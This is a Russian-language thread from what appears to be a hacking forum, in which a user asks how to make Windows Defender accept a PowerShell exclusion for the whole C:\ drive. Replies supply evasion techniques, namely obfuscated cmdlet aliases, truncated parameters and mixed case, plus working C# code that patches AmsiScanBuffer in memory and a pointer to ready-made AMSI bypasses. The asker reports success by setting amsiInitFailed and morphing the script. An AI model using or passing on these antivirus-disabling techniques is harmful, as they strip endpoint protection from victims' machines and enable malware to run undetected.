• XSS.stack #1 – первый литературный журнал от юзеров форума

С# Powershell добавление в исключения (нужна помощь)

D95

floppy-диск
Пользователь
Регистрация
26.02.2024
Сообщения
5
Реакции
2
Всем привет,подскажите с недавнего времени Win Defender ( Win 10 в моём случае) перестал почему то давать добавлять папку в исключения через powershell . Даже когда в ручную запускаешь консоль от админа не даёт.
sshot-3.png

{
string ps = @"
$command = 'Add-MpPreference -ExclusionPath ''C:\'''
Invoke-Expression -Command $command
";

Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo()
{
FileName = "powershell.exe",
RedirectStandardInput = true,
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true,
};

process.StartInfo = startInfo;
process.Start();
process.StandardInput.WriteLine(ps);
process.StandardInput.Flush();
process.StandardInput.Close();
process.WaitForExit();
process.Close();
}

Приложение стартует тоже с запросом прав администратора, функция выполняется из под админа,но в окне консоли та же ошибка от дефендера. Суть вопроса в том как можно это обойти ?может сделать обфускацию просто повершел команды самой,поможет ли это?
 
Как минимум поменять путь с "С:\" на что-то поглубже.
А вообще пользуйся дополнительными переменными и тем, что разрешает делать ПШ.

Например:
1. 'C:\' меняем на $disk = (Get-WmiObject Win32_OperatingSystem).SystemDrive;
Add-MpPreference -ExclusionPath $disk;
(этот вариант я не проверял, но должно работать + возможны другие вариации, как получить системный диск в переменную)

2. Посмотри все возможные алиасы для Add-MpPreference и замени на любой другой
(алиасы лучше смотреть на WinServ 2012R2, то, что будет доступно в пш на такой винде - будет доступно на 99% компов)

3. ExclusionPath = ExclusionPa = ExclusionPat

4. Пиши команды пш зАБоРчиКоМ (пш нечувствителен к регистру)
 
Можно попробовать пропатчить amsi после запуска софта, но есть вероятность что на скантайме будет детект AmsiTampering - дополнительно нужно будет чистить

C#:
        public static void PatchAMSI()
        {
            var amsiHandle = LoadLibrary("amsi.dll");
            var amsiLocation = GetProcAddress(amsiHandle, "AmsiScanBuffer");
            var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
       
            if (Environment.Is64BitOperatingSystem)
            {
                patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
            }
       
            var isProtected = VirtualProtectEx(
                Process.GetCurrentProcess().Handle,
                amsiLocation,
                (UIntPtr)patch.Length,
                (int) AllocationProtect.PageExecuteReadWrite,
                out _);
       
            if (!isProtected)
            {
                return;
            }
       
            Marshal.Copy(patch, 0, amsiLocation, patch.Length);
            Console.WriteLine("Patched AMSI");
        }


Если это не поможет, можно попробовать заюзать обфусцированный пш патч отсюда - https://amsi.fail
Спасибо,сделал установив amsiInitFailed в значение true,чуть поморфив скрипт,а далее уже выполняю поморфеный скрипт добавления в исключения.Но твой вариант тоже гляну
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх